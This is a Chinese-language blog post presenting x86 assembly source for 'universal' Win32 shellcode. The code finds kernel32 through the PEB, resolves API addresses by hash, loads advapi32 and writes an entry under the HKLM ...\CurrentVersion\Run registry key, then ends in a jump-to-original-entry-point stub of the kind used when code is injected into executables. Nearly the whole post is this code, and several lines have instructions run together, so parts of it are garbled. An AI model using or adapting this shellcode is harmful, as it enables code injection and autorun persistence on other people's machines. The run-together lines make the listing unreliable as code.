WIN32 通用shellcode

发表于 2014-04-27  323 次阅读


LoadLibraryExA_Digest equ 0xc0d83287
LoadLibraryA_Digest equ 0x0C917432
RegCreateKeyA_Digest equ 0x2B367128
RegSetValueExA_Digest equ 0xD8C0FEAA
RegCloseKey_Digest equ 0x0E511783
FreeLibrary_Digest equ 0x30BA7C8C
use32

shellcode_start:
push ebp ;// 保存栈帧
mov ebp, esp
sub esp,40;//40*3->dword
;// 在栈中构造UNICODE字符串 KERNEL32.DLL[K\0E\0 R\0N\0 E\0L\0 3\02\0 .\0D\0 L\0L\0 \0\0\0\0
push 00000000h ;//0000
push 004C004Ch ;//0L0L
push 0044002Eh ;//0D0.
push 00320033h ;//0203
push 004c0045h ;//0L0E ;//just push unicode string is ok!
push 004E0052h ;//0N0R
push 0045004Bh ;//0E0K

push esp ;//push kernel32.dll
call get_module_base ;//get kernel32 base
add esp, 7*4 ;//back heapstack
test eax, eax ;zf=1 then jmp
jz ._shellcode_return
;// [ebp-4] mov dword [ebp-4],eax
push LoadLibraryA_Digest
push dword [ebp-4] call get_proc_address_by_digest;//get loadlibraryA address
test eax, eax
jz ._shellcode_return
; push eax;this is loadlibrary func address push stack [ebp-08] mov dword [ebp-8],eax
push 0h
push '.DLL'
push 'pi32'
push 'ADva'

push esp
call dword[ebp-8] ;// LoadLibraryA
add esp, 3*4
test eax, eax
jz ._shellcode_return
; push eax ;[ebp-0ch] mov dword [ebp-0ch],eax

;//getfuncaddress

push RegCreateKeyA_Digest ;//
push dword [ebp-0ch] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp

mov dword[ebp-10h],eax
push RegSetValueExA_Digest ;//
push dword [ebp-0ch] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp

mov dword[ebp-14h],eax
push RegCloseKey_Digest ;//
push dword [ebp-0ch] ;//push module
call get_proc_address_by_digest ;//get func address
test eax, eax ;//cmp eax=address
jz ._shellcode_return ;//zf=1 then jmp

mov dword[ebp-18h],eax
mov eax,[ebp-10h] ; HKEY_LOCAL_MACHINE
push 'n'
push 'n\Ru'
push 'rsio'
push 'ntVe'
push 'urre'
push 'ws\C'
push 'indo'
push 'ft\W'
push 'roso'
push '\Mic'
push 'ware'
push 'Soft'
mov dword[ebp-1ch],esp
push 'x'
mov dword[ebp-20h],esp
lea ebx,[ebp-24h] push ebx
push dword[ebp-1ch] push 80000002h
call eax
mov eax,[ebp-14h] ;

push 1
push dword [ebp-20h] push 1
push 0
push dword[ebp-1ch] push dword [ebp-24h]

call eax
add esp,13*4

;//this is cod
push FreeLibrary_Digest
push dword [ebp-4] call get_proc_address_by_digest
test eax, eax
jz ._shellcode_return

push dword [ebp-0ch] ;//free user32.dll imagememory
call eax ;//call freefunc

._shellcode_return:
mov esp, ebp
pop ebp ;// 恢复栈帧
ret
jmp jmp_to_oep

;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;* ebp+8 = moudule name null-terminate string [WCHAR] ;*
;* OUT:
;* eax = ntdll.base
;* #define _Wcsnicmp_Digest 0x548b2e5f
;/************************************************************************/

get_module_base:
push ebp
mov ebp, esp

call get_ntdll_base
test eax, eax
jz ._find_modulebase_done

push 548b2e5fh ;// hash of _wcsnicmp
push eax
call get_proc_address_by_digest
test eax, eax ;// _wcsnicmp
jz ._find_modulebase_done

push eax ;// [ebp-04h]_wcsnicmp

mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
test eax, eax
jz ._find_modulebase_done

mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] test eax, eax
jz ._find_modulebase_done

mov esi, [eax+1ch] jmp ._compare_moudule_name

._find_modulebase_loop:
mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList
._compare_moudule_name:
test esi, esi
jz ._find_modulebase_done

xor edi, edi
mov di, word [esi+1ch] ;// length
push edi
push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR] push dword [ebp+08h] mov edi, [ebp-04h] call edi
test eax, eax
jnz ._find_modulebase_loop

mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase
;//mov ecx, [esi+20h] ._find_modulebase_done:
mov esp, ebp
pop ebp
ret 4

;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;* eax = ntdll.base
;/************************************************************************/
get_ntdll_base:
mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
test eax, eax
jz ._find_ntdllbase_done

mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] test eax, eax
jz ._find_ntdllbase_done

mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList
test eax, eax
jz ._find_ntdllbase_done

mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_ntdllbase_done:
ret

;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;* esi = function name
;* OUT:
;* edx = digest
;/************************************************************************/
get_ansi_string_digest:
push eax
xor edx, edx
._next_char:
xor eax, eax
lodsb
test eax, eax
jz ._done

ror edx, 7
add edx, eax
jmp ._next_char
._done:
pop eax
ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;* [ebp+8] = module base
;* [ebp+0ch] = function name digest
;* OUT:
;* eax function address (null if failed)
;/************************************************************************/
get_proc_address_by_digest:
push ebp
mov ebp, esp

mov eax, [ebp+8] cmp word [eax], 5a4dh ;// 'MZ'
jnz ._return_null
add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS
cmp dword [eax], 00004550h ;// 'PE'
jnz ._return_null
push eax ;// [ebp-04h]

;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER
;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT
;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
add eax, 78h

mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY
add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
mov ecx, eax

mov eax, [ecx+20h] add eax, [ebp+08h] ;// eax = AddressOfNames
push eax ;// [ebp-08h] 导出名称地址表

mov eax, [ecx+24h] add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals
push eax ;// [ebp-0ch] 导出序号表

mov eax, [ecx+1ch] add eax, [ebp+08h] ;// eax = AddressOfFunctions
push eax ;// [ebp-10h] 导出RAV地址表

push dword [ecx+10h] ;// [ebp-14h]ordinals base
push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions
push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames

mov ecx, [ebp-1ch] mov ebx, ecx
mov eax, [ebp-08h]

._find_func:
mov edi, ebx
sub edi, ecx
mov esi, [eax+edi*4] test esi, esi ;// esi是否NULL
loope ._find_func
inc ecx
add esi, [ebp+08h] call get_ansi_string_digest
cmp edx, [ebp+0ch] loopne ._find_func ;// ecx 为目标函数在函数名数组中的index

xor edx, edx
mov eax, [ebp-0ch] mov dx, [eax+edi*2]

;//add edx, [ebp-14h] ;//Ordinal base 处理, 蛋疼?找微软!
;//sub edx, [ebp-14h] ;// 以上两条同样是让程序流程清晰,实际运用中,如果不需要输出Ordinal,则不需要进行该操作

cmp edx, [ebp-18h] jae ._return_null

mov eax, [ebp-10h] ;// eax = AddressOfFunctions
mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
add eax, [ebp+08h] jmp ._function_found_done

._return_null:
xor eax, eax
._function_found_done:
mov esp, ebp
pop ebp
ret 8

jmp_to_oep:
jmp $

本站文章基于国际协议BY-NA-SA 4.0协议共享;
如未特殊说明,本站文章皆为原创文章,请规范转载。

0

博客管理员